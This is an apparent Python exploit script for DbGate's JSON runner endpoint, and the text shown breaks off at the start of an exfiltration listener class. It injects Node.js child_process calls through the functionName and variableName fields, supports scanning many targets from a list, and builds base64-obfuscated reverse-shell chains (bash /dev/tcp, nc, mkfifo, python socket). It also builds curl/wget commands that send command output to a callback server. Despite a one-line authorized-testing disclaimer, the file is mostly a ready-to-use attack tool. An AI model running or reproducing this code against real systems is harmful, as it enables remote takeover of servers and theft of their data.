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| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# By: Nxploited
#
# DbGate JSON runner assessment tool (POST /runners/start injection checks)
# Patched in DbGate v7.1.9+. For authorized security testing only.
from __future__ import annotations
import argparse
import asyncio
import base64
import json
import os
import re
import socket
import sys
import threading
import time
from dataclasses import dataclass
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any, Dict, List, Optional, Set, Tuple
from urllib.parse import parse_qs, quote, urljoin, urlparse, urlunparse
import aiohttp
from colorama import Fore, Style, init as color_init
color_init(autoreset=True)
OUT_DIR = "Nx"
OUT_VULN = ""
OUT_DISPATCH = ""
OUT_REVSH = ""
OUT_EXFIL = ""
OUT_FAIL = ""
OUT_LIST_REPORT = ""
OUT_SUMMARY = ""
SESSION_DIR = ""
SESSION_ID = ""
DEFAULT_TARGETS = "list.txt"
APP_NAME = "dbgate"
DEFAULT_PORT = 3000 # DbGate default HTTP port
DEFAULT_CONCURRENCY = 30
DEFAULT_TIMEOUT = 15.0
DEFAULT_CALLBACK_PORT = 8888
DEFAULT_REVSH_PORT = 4444
# ── logging ──────────────────────────────────────────────────────────────────
def log_ok(msg: str) -> None:
print(f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}")
def log_info(msg: str) -> None:
print(f"{Fore.CYAN}[*] {msg}{Style.RESET_ALL}")
def log_warn(msg: str) -> None:
print(f"{Fore.YELLOW}[!] {msg}{Style.RESET_ALL}")
def log_fail(msg: str) -> None:
print(f"{Fore.RED}[-] {msg}{Style.RESET_ALL}")
def log_pwn(msg: str) -> None:
print(f"{Fore.MAGENTA}[★] {msg}{Style.RESET_ALL}")
_SAVE_WARNED: Set[str] = set()
def save_line(path: str, line: str) -> None:
if not path:
return
try:
parent = os.path.dirname(path)
if parent:
os.makedirs(parent, exist_ok=True)
with open(path, "a", encoding="utf-8") as fh:
fh.write(line.rstrip() + "\n")
fh.flush()
except OSError as exc:
if path not in _SAVE_WARNED:
_SAVE_WARNED.add(path)
log_warn(f"Cannot write to {path}: {exc}")
def init_nx_output() -> str:
"""Create Nx/ output tree; call before any scan."""
global OUT_VULN, OUT_DISPATCH, OUT_REVSH, OUT_EXFIL, OUT_FAIL, OUT_LIST_REPORT, OUT_SUMMARY
global SESSION_DIR, SESSION_ID
os.makedirs(OUT_DIR, exist_ok=True)
os.makedirs(os.path.join(OUT_DIR, "exfil"), exist_ok=True)
SESSION_ID = time.strftime("%Y%m%d_%H%M%S")
SESSION_DIR = os.path.join(OUT_DIR, "sessions", SESSION_ID)
os.makedirs(SESSION_DIR, exist_ok=True)
OUT_VULN = os.path.join(OUT_DIR, "vuln.txt")
OUT_DISPATCH = os.path.join(OUT_DIR, "dispatch.txt")
OUT_REVSH = os.path.join(OUT_DIR, "revsh.txt")
OUT_EXFIL = os.path.join(OUT_DIR, "exfil.txt")
OUT_FAIL = os.path.join(OUT_DIR, "failed.txt")
OUT_LIST_REPORT = os.path.join(OUT_DIR, "list_report.txt")
OUT_SUMMARY = os.path.join(SESSION_DIR, "summary.json")
for p in (OUT_VULN, OUT_DISPATCH, OUT_REVSH, OUT_EXFIL, OUT_FAIL):
open(p, "a", encoding="utf-8").close()
log_ok(f"Output folder: {os.path.abspath(OUT_DIR)}/")
log_info(f"Session: {SESSION_ID}")
return SESSION_DIR
def exfil_target_key(target_url: str) -> str:
"""Canonical key for per-target exfil matching (mass-safe)."""
if not target_url or target_url == "unknown":
return "unknown"
return ensure_target_url(target_url).rstrip("/")
def nx_exfil_path(target_url: str) -> str:
tag = re.sub(r"[^\w.\-]+", "_", urlparse(target_url).netloc or "target")
return os.path.join(OUT_DIR, "exfil", f"{tag}.txt")
def save_exfil_for_target(target_url: str, peer: str, decoded: str) -> None:
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] peer={peer}\n{decoded}\n{'─' * 40}"
save_line(OUT_EXFIL, f"[{target_url}] {decoded[:500]}")
save_line(nx_exfil_path(target_url), line)
def url_tag(url: str) -> str:
return urlparse(url).netloc or url
# ── URL / targets ────────────────────────────────────────────────────────────
def normalize_base(url: str) -> str:
url = url.strip()
if not url:
return ""
if not re.match(r"^https?://", url, re.I):
url = "http://" + url
return url.rstrip("/")
def ensure_target_url(raw: str, default_port: int = DEFAULT_PORT) -> str:
"""
Build a valid base URL: scheme://host:port/path
Never appends port after path (fixes http://host/path:3000 bug).
"""
raw = normalize_base(raw)
if not raw:
return ""
p = urlparse(raw)
scheme = (p.scheme or "http").lower()
host = p.hostname
if not host:
return ""
if p.port is not None:
port = p.port
else:
# DbGate default when line has no explicit port (http or https)
port = default_port
path = p.path or ""
if path == "/":
path = ""
netloc = f"{host}:{port}"
return urlunparse((scheme, netloc, path, "", p.query, p.fragment))
def load_targets_raw(path: str) -> List[str]:
out: List[str] = []
try:
with open(path, "r", encoding="utf-8") as fh:
for line in fh:
out.append(line.rstrip("\n\r"))
except OSError as exc:
log_fail(f"Cannot read targets: {exc}")
return out
@dataclass
class ListLoadStats:
raw: int = 0
blank: int = 0
comment: int = 0
invalid: int = 0
dup: int = 0
resolved: int = 0
def parse_target_line(
line: str,
default_port: int = DEFAULT_PORT,
) -> Tuple[Optional[str], str, str]:
"""
Returns (url, per_target_command, reason).
Supports: host, host:port, URL, host/path, and optional |command per line.
"""
original = line
per_cmd = ""
work = line.strip()
if not work:
return None, "", "blank"
if work.startswith("#"):
return None, "", "comment"
if "|" in work:
host_part, _, cmd_part = work.partition("|")
work = host_part.strip()
per_cmd = cmd_part.strip()
line = work
if not re.match(r"^https?://", line, re.I):
if re.match(r"^[\d.a-zA-Z_-]+:\d+", line) and "/" not in line.split(":")[0]:
line = f"http://{line}"
elif re.match(r"^[\d.a-zA-Z_.-]+(:\d+)?/", line):
if not line.startswith("http"):
line = f"http://{line}"
elif re.match(r"^[\w.\-]+$", line) or re.match(r"^\d{1,3}(\.\d{1,3}){3}$", line):
line = f"http://{line}"
else:
line = f"http://{line}"
url = ensure_target_url(line, default_port)
if not url or not urlparse(url).hostname:
return None, per_cmd, f"invalid:{original[:80]}"
return url, per_cmd, ""
def load_targets_smart(
path: str,
default_port: int = DEFAULT_PORT,
) -> Tuple[List[str], Dict[str, str], ListLoadStats, List[str]]:
"""Load list file with stats; never mixes ports incorrectly."""
lines = load_targets_raw(path)
stats = ListLoadStats(raw=len(lines))
seen: Set[str] = set()
urls: List[str] = []
per_cmds: Dict[str, str] = {}
errors: List[str] = []
for line in lines:
if not line.strip():
stats.blank += 1
continue
if line.strip().startswith("#"):
stats.comment += 1
continue
url, per_cmd, reason = parse_target_line(line, default_port)
if reason == "blank":
stats.blank += 1
continue
if reason == "comment":
stats.comment += 1
continue
if not url:
stats.invalid += 1
errors.append(f"{line.strip()} -> {reason}")
continue
if url in seen:
stats.dup += 1
continue
seen.add(url)
urls.append(url)
if per_cmd:
per_cmds[url] = per_cmd
stats.resolved += 1
return urls, per_cmds, stats, errors
def write_list_report(
path: str,
stats: ListLoadStats,
urls: List[str],
errors: List[str],
default_port: int = DEFAULT_PORT,
per_cmds: Optional[Dict[str, str]] = None,
) -> None:
lines = [
f"file={path}",
f"raw={stats.raw} blank={stats.blank} comment={stats.comment}",
f"invalid={stats.invalid} dup={stats.dup} resolved={stats.resolved}",
f"default_port={default_port} (applied when line has no explicit port)",
"",
"=== resolved targets ===",
]
for u in urls:
cmd = (per_cmds or {}).get(u, "")
lines.append(f"{u}|{cmd}" if cmd else u)
if errors:
lines.extend(["", "=== invalid lines ==="])
lines.extend(errors)
try:
with open(OUT_LIST_REPORT, "w", encoding="utf-8") as fh:
fh.write("\n".join(lines) + "\n")
except OSError as exc:
log_warn(f"Cannot write list report: {exc}")
def parse_login_json(raw: Optional[str]) -> Tuple[Optional[Dict[str, Any]], Optional[str]]:
if not raw or not raw.strip():
return {"amoid": "none"}, None
try:
data = json.loads(raw)
if not isinstance(data, dict):
return None, "login JSON must be an object"
return data, None
except json.JSONDecodeError as exc:
return None, f"invalid login JSON: {exc}"
def guess_lan_ip() -> str:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except OSError:
return "127.0.0.1"
def extract_bearer_token(data: Any, raw_text: str = "") -> Optional[str]:
"""Pull Bearer token from DbGate /auth/login JSON (several response shapes)."""
if isinstance(data, dict):
for key in ("accessToken", "token", "access_token", "jwt", "bearer"):
val = data.get(key)
if val and isinstance(val, str):
return val
for nest in ("data", "result", "user", "session", "auth"):
sub = data.get(nest)
if isinstance(sub, dict):
found = extract_bearer_token(sub)
if found:
return found
if raw_text:
for pattern in (
r'"accessToken"\s*:\s*"([^"]+)"',
r'"token"\s*:\s*"([^"]+)"',
r'"access_token"\s*:\s*"([^"]+)"',
):
m = re.search(pattern, raw_text)
if m:
return m.group(1)
return None
class ReuseHTTPServer(HTTPServer):
allow_reuse_address = True
# ── injection builders ─────────────────────────────────────────────────────────
def _js_escape_single(s: str) -> str:
return (
s.replace("\\", "\\\\")
.replace("'", "\\'")
.replace("\n", "\\n")
.replace("\r", "\\r")
)
def parse_revsh_endpoint(
spec: Optional[str],
default_port: int = DEFAULT_REVSH_PORT,
) -> Tuple[str, int]:
"""
Parse LHOST:LPORT for reverse shell (address the *target* must dial).
spec None / AUTO → guessed LAN IP + default_port.
"""
if spec is None or str(spec).strip().upper() == "AUTO" or not str(spec).strip():
return guess_lan_ip(), default_port
raw = str(spec).strip()
if raw.startswith("[") and "]" in raw:
host = raw[1 : raw.index("]")]
rest = raw[raw.index("]") + 1 :]
if rest.startswith(":"):
return host, int(rest[1:])
return host, default_port
if ":" in raw:
host, _, port_s = raw.rpartition(":")
host = host.strip()
if not host:
raise ValueError(f"invalid reverse-shell endpoint: {spec!r}")
return host, int(port_s)
return raw, default_port
def build_reverse_shell_cmd(lhost: str, lport: int) -> str:
"""
Detached reverse-shell attempts (async exec). Uses base64-wrapped script
to avoid broken nested quoting inside sh -c.
"""
h, p = lhost, int(lport)
script = (
f"bash -i >& /dev/tcp/{h}/{p} 0>&1 2>/dev/null || "
f"sh -i >& /dev/tcp/{h}/{p} 0>&1 2>/dev/null || "
f"rm -f /tmp/.nx;mkfifo /tmp/.nx;cat /tmp/.nx|sh -i 2>&1|nc {h} {p} >/tmp/.nx || "
f"nc -e /bin/sh {h} {p} 2>/dev/null || "
f"busybox nc {h} {p} -e sh 2>/dev/null || "
f"python3 -c \"import socket,os,subprocess;"
f"s=socket.socket();s.connect(('{h}',{p}));"
f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
f"subprocess.call(['/bin/sh','-i'])\" 2>/dev/null"
)
payload_b64 = base64.b64encode(script.encode()).decode()
return (
f"(command -v base64 >/dev/null 2>&1 && "
f"echo {payload_b64}|base64 -d|nohup sh >/dev/null 2>&1 &) || "
f"(echo {payload_b64}|openssl base64 -d|nohup sh >/dev/null 2>&1 &)"
)
def build_node_exec_js(shell_cmd: str, sync: bool = True) -> str:
esc = _js_escape_single(shell_cmd)
if sync:
return (
f"process.mainModule.require('child_process').execSync('{esc}',"
f"{{encoding:'utf8',timeout:120000}})"
)
return f"process.mainModule.require('child_process').exec('{esc}')"
def build_shell_exfil(
cmd: str,
callback_url: str,
b64: bool = True,
target_tag: str = "",
) -> str:
base = callback_url.rstrip("/")
qs_parts: List[str] = []
if target_tag:
qs_parts.append(f"target={quote(target_tag, safe='')}")
cb_full = f"{base}?{'&'.join(qs_parts)}" if qs_parts else base
# Run command once, encode once, then try curl then wget (no double exec).
if b64:
return (
f"__nx=$( ({cmd}) 2>&1 ); "
f"b64=$(printf %s \"$__nx\" | base64 -w0 2>/dev/null "
f"|| printf %s \"$__nx\" | base64 2>/dev/null || echo FAIL); "
f"curl -sk -G '{cb_full}' --data-urlencode \"data=$b64\" "
f"|| wget -qO- --post-data=\"data=$b64\" '{cb_full}'"
)
return (
f"__nx=$( ({cmd}) 2>&1 ); "
f"curl -sk -G '{cb_full}' --data-urlencode \"data=$__nx\" "
f"|| wget -qO- --post-data=\"data=$__nx\" '{cb_full}'"
)
def inject_function_name(node_js: str) -> str:
return f"x;{node_js};//"
def inject_variable_name(node_js: str, fn_safe: str = "x") -> Tuple[str, str]:
return f"x;{node_js};var __nx", f"{fn_safe};//"
def build_json_script(
vector: str,
node_js: str,
props: Optional[Dict[str, Any]] = None,
) -> Dict[str, Any]:
props = props or {}
if vector == "functionName":
return {
"type": "json",
"commands": [{
"type": "assign",
"variableName": "x",
"functionName": inject_function_name(node_js),
"props": props,
}],
"packageNames": [],
}
if vector == "variableName":
var_name, fn_name = inject_variable_name(node_js)
return {
"type": "json",
"commands": [{
"type": "assign",
"variableName": var_name,
"functionName": fn_name,
"props": props,
}],
"packageNames": [],
}
raise ValueError(f"Unknown vector: {vector}")
# ── exfil listener ───────────────────────────────────────────────────────────
class ExfilHandler(BaseHTTPRequestHandler):
|
